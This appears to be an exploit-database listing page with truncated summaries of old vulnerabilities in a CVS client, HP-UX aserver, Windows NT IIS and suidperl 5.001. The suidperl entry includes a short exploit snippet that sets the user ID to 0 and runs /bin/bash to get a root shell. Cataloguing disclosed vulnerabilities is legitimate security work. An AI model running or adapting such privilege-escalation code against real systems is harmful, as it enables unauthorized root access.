CVS Kit CVS Server 1.10.8 - Instructed File Create

CVS Kit CVS Server 1.10.8 - Instructed File Create source: https://www.securityfocus.com/bid/1523/info The cvs client blindly trust paths returned to it by the server. Therefore, a cvs client could be tricked into creating a file anywhere on the system by a malicious server. This problem can be...

CVE-2000-0077

The October 1998 version of the HP-UX aserver program allows local users to gain privileges by specifying an alternate PATH which aserver uses to find the ps and grep commands...

PT-1999-1020 · Microsoft · Windows Nt Iis Server

Name of the Vulnerable Software and Affected Versions: Windows NT IIS server affected versions not specified Description: The issue concerns a denial of service in the Windows NT IIS server. It can be triggered using ...., which suggests a directory traversal or path manipulation technique. No...

HP-UX 10.x11.x - Aserver PATH

HP-UX 10.x11.x - Aserver PATH source: https://www.securityfocus.com/bid/1929/info Aserver is a server program that ships with HP-UX versions 10.x and above that is used to interface client applications with the audio hardware. Because it talks to hardware, it is installed setuid root by default...

suid_perl 5.001 vulnerability

Exploit for linux platform in category local exploits ============================= suidperl 5.001 vulnerability ============================= !/usr/bin/suidperl -U $ENVPATH="/bin:/usr/bin"; $=0;$=0; exec"/bin/bash"; 0day.today 2018-04-09...